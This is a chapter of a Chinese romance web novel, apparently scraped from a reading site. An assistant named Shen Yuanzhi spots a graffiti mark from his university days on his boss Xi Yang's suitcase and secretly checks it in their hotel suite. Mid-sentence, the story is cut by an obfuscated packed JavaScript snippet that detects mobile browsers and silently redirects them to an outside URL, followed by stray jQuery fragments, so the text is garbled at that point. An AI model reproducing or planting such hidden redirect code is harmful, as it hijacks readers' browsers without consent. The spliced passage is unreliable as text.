默认冷灰
24号文字
方正启体

17. 第 17 章

作者:南南拾叁本书字数:K更新时间:
    飞机于下午五点停落临江机场。


    坐在前往下榻酒店商务车的副驾驶上,冯沅正襟危坐,大气都不敢出的直视前方。


    后座安静无声,窗外阴云密布。


    车停在了某个红绿灯前,终究还是忍不住好奇,冯沅偷偷瞟了眼车内镜,沈哥和席总依旧坐的天各一方,但不知道是不是他的错觉,两人间的距离比之前更远了些,沈哥几乎半个身子快贴着车门了,他此刻正划着手机,垂着头看不见表情。


    反观席总,冯沅的目光落至他微勾的唇角,很淡,却有些显眼。


    冯沅疑惑地皱了下眉。


    没等他再继续观察,一道低沉的男声突然打破了此刻的安静:“和廖教授联系上了没有?”


    沈垣之闻言很快抬起了头,他睫毛一扫,将手机按熄了:“联系上了。”


    “刚刚我和他助理沟通了一下,廖教授现在还在讲座现场,我想着约个晚饭,席总您看怎么样?”


    席殃没有同意也没有拒绝,语气淡淡的:“先回酒店。”


    沈垣之应了声,刚刚在微信上和廖教授助理简单的聊了一下,对方先是为他们专程来一趟说了道谢,但言语间有礼之余又太过客气,连讲座地址都没发过来,多半是廖教授的态度。


    沈垣之眼眸一垂,他在这行干了这么多年,知道项目没那么容易拿下,但今天心情格外郁闷,不知打哪来的一股怒火在胸前里烧得正旺,仿佛下一秒就要喷涌而出。


    尤其是瞥见席殃还有些微红的耳垂。


    之前在飞机上席殃喊疼之后,沈垣之忍着脾气凑过去看了两眼,虽说不严重,但是那一抹本不存在的微红看得他心里莫名不爽,连带着看席殃这个人又开始不爽了起来,尽管前一秒才被他安抚,尽管才从他手里抽回自己的手。


    一路无言直到下榻的酒店,沈垣之在车停稳后率先下了车。


    他正准备绕后帮司机拿行李箱,可手机却不合时宜地响了起来,来电人是一个没署名的号码。


    没署名的号码。


    沈垣之眉心一跳,做贼心虚地看了眼正准备下车的席殃,见他没看过来,很快接通了电话:“你好,我是呈声沈垣之。”


    “沈助理你好,我是廖教授的秘书……”


    冯沅从副驾驶下来时便听见了不远处飘来这句话,他见司机正帮席总拿行李箱,很有眼力见地快步走了过去。


    “席总,我来吧。”


    席殃闻言看了他一眼,低声说了句:“谢谢。”


    虽是这样说,但还是自己将行李箱连同着沈垣之的行李箱也一并拿了下来,冯沅见状只好从司机手里接过了自己的行李箱。


    一旁的席殃看了眼正在打电话的沈垣之,默不作声地推着两个行李箱往门口走去。


    H市比G市天气晚的要早,借着酒店门口的灯光,冯沅注意到席总黑色行李箱上有一块很不起眼的涂鸦,有些眼熟。


    没等他看清楚,沈垣之的声音倏然从身后传来:“怎么不进去,还待在这干什么?”


    说完他绕着车走了一圈,似乎在找什么,随后眉头一皱,诧异道:“我行李箱和公文包呢?”


    冯沅看了眼合上的电梯门,老实道:“席总推走了。”


    沈垣之:“……”


    ——


    “沈哥,”电梯里,想到今天在车内那一眼,纠结许久之后的冯沅小心翼翼地开口问道:“席总是不是不太喜欢我啊。”


    沈垣之攥紧了前台给他的房卡,他本想着一下车就拿身份证再另开一间房,但怎么想也没想到席殃会直接将他行李箱推走。


    没有身份证就开不了房,要另开房就得去拿身份证,去拿身份证就要和席殃同处一室,脑子正一片混乱着,冷不丁听到冯沅这句话。


    他想都没想,警觉地开口道:“他喜欢你做什么?”


    冯沅闻言一时语塞。


    沈垣之很快回过神来,有些不自然地撇开了视线:“小冯,你做好本职工作就好了。”


    见冯沅没说话,盯着不断上升的数字,沈垣之语气一顿,下意识替席殃说了几句:“席总性格就这样,要是让你感到不自在也别往心里去。”


    说完又觉得这话多余,于是淡淡地加了句:“领导嘛,哪里能注意到这些小事。”


    冯沅说这话本意无他,只是想和沈垣之说说话,经这句话以及之前两人间的气氛,思索一番后冯沅迎合着点了点头:“我知道的。”


    “席总是国外回来的,从小接受的教育和我们不太相同,”他语气一顿,像是有些委屈:“可能我和部门的领导相处久了,以为所有领导……”


    “冯沅。”沈垣之突然叫了声他的名字。


    冯沅闻声望去,意料之外地,沈垣之眼眸很沉:“我说过了,席总性格就这样。”


    “每个人,每个领导的性格都不一样,没什么好比较的。”


    “你能做好本职工作吗?”沈垣之语气一顿,没什么情绪地看他:“如果不行,你可以申请回去,换个人来。”


    狭小的空间里气氛猛地沉了下来,冯沅心一顿,下意识道歉:“不好意思,沈助。”


    “我……”他语气一顿,有些艰难地解释:“我只是……”


    沈垣之打断道:“如果能,以后就不要再说了。”


    冯沅平时和同事吐槽领导都成了习惯,他没想到一向对他客气的沈哥突然像是变了个人一样,就连当时借着酒意告白也没见他这样,想到不久前席总主动找他换位置,冯沅后背一僵,缓了片刻后才应了句:“好的。”


    电梯依旧在上行,狭小的空间里却只剩下沉默。


    沈垣之后知后觉自己反应过激,他看了眼垂着头一言不发的冯沅,思索片刻开口道:“席总他在国内读的高中。”


    见冯沅望过来,他声音放轻了些:“一中。”


    沈垣之本意是想都是同门能拉近些关系,他们还要相处三天,工作上以后也需要配合,而他刚刚说的太过,不想给席殃莫名树敌。


    但冯沅似乎会错了意,他很快朝沈垣之释然地笑了笑:“难怪沈哥你维护席总呢,原来你俩是同学呀。”


    沈垣之皱眉。


    也不知道是因为那句“维护”,还是那句只是“同学”。


    冯沅没注意到他的异常,语气很快就变得格外雀跃,像是想到了什么,他开口道:“难怪席总要和我换座。”


    沈垣之目光一凝,他被席殃气糊涂,都快忘了这回事,喉咙一紧,他淡淡道:“为什么?”


    冯沅朝他神神秘秘笑了一下,没说话。


    沈垣之见状眉头一皱,正准备继续问时,冯沅突然眼眸一亮:“席总也是在G大读的吗?”


    目光微凝,沈垣之摇了摇头。


    “那席总行李箱上为什么有


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380465|168449||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我们学校涂鸦部门的标志?”冯沅疑惑道:“沈哥,我记得这些涂鸦作品是不对外出售呀。”


    ——


    目送冯沅进房间后,沈垣之待在黑暗里沉默了许久,窗外天沉了下来,一场雨却迟迟不下。


    他手里攥紧了套间房卡,盯着眼前紧闭的房门,心里开始打起了鼓。


    冯沅嘴里说的涂鸦作品,是沈垣之刚进大学时参加的一次部门活动,他被当时的舍友拉着去了现场,因是寄给福利院的孩子们,涂鸦载体基本上是有关学习的。


    比如课桌,笔盒等等,但沈垣之在一众物件中选了一款行李箱。


    当时他偶尔还是会想席殃。


    想他一声不吭,拉着行李箱走的模样。


    那天下午他坐在现场画了很久,不过最后也只是用几抹水彩在行李箱的角落处画了一个很小的落日。


    这项涂鸦活动后面又持续了很多届,所以冯沅会知道并不奇怪,奇怪的是,为什么席殃会有,为什么刚好是行李箱。


    心跳如雷鸣般跳动,沈垣之眸光微颤。


    会不会?


    沈垣之很快摇了摇头,自从经历过前几次之后,他不愿意再去猜,怕自己又猜错,怕又想些有的没得。


    可眼见一定为实。


    房卡在手里被攥的发疼,沉默片刻后,沈垣之才感觉到疼似的松开了,他面无表情打开了房门。


    套间内洒着很适宜的灯,门直直地对着窗户,临江,未合上的窗帘被一阵风吹起,沈垣之被冷的打了个哆嗦,这才缓缓吐出一口气。


    他偏过头看了眼微敞的房门,只隐约传来的一层淡光,像是没开灯,沈垣之一顿,手脚发麻的换了干净的拖鞋。


    轻手轻脚地从客厅走到席殃卧室门前,沈垣之听着套间内时不时传来的水声,胆子渐渐大了起来。


    席殃在洗澡,就看一眼。


    看一眼花不了多长时间,沈垣之这样想着。


    至于看了之后,如果是又怎么样,不是又怎么样,沈垣之全然没想过,在此刻,他只是想看一眼而已。


    浴室离主卧不远,暖黄的灯映着那一道高大的身影赤/裸/裸地打在门框上,沈垣之立即烧红了耳朵,眼眸被烫似的移开了,脚下的拖鞋太大,沈垣之因此还绊了个踉跄,好在地上的毯子很软,没有闹出什么动静。


    耳边传来断断续续的水声,余光里全是那道身影,沈垣之几乎想立马逃出去,可目光瞥到一旁的行李箱时,还是义无反顾地走了过去。


    房间里灯光实在太暗,因为夜盲症,沈垣之只能隐约看到两个行李箱的影子。


    他索性半蹲下来,凭着记忆里画过的位置去摸其中一个,微微发抖的指节触上有些凉的行李箱,沈垣之心一下一下地蹦着,他太紧张了,以至于指腹间什么都感知不到,紧张到他几乎什么都听不到。


    不知道过了多久,手上只摸到一层灰。


    无语之际,沈垣之耳边突然传了很低的一道笑声:“要我帮忙吗?”


    “……”


    “小圆,”这道笑声叫他:“转过来。”


    宛如机械般,沈垣之缓缓扭过了头。


    只见不远处的浴室不知何时大敞开来,借着暖黄的灯光,沈垣之撞进一双,噙着笑的眼里。


    席殃学着他半蹲在他身旁。


    上身赤裸着,只围了一截浴巾,不知道看了多久。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)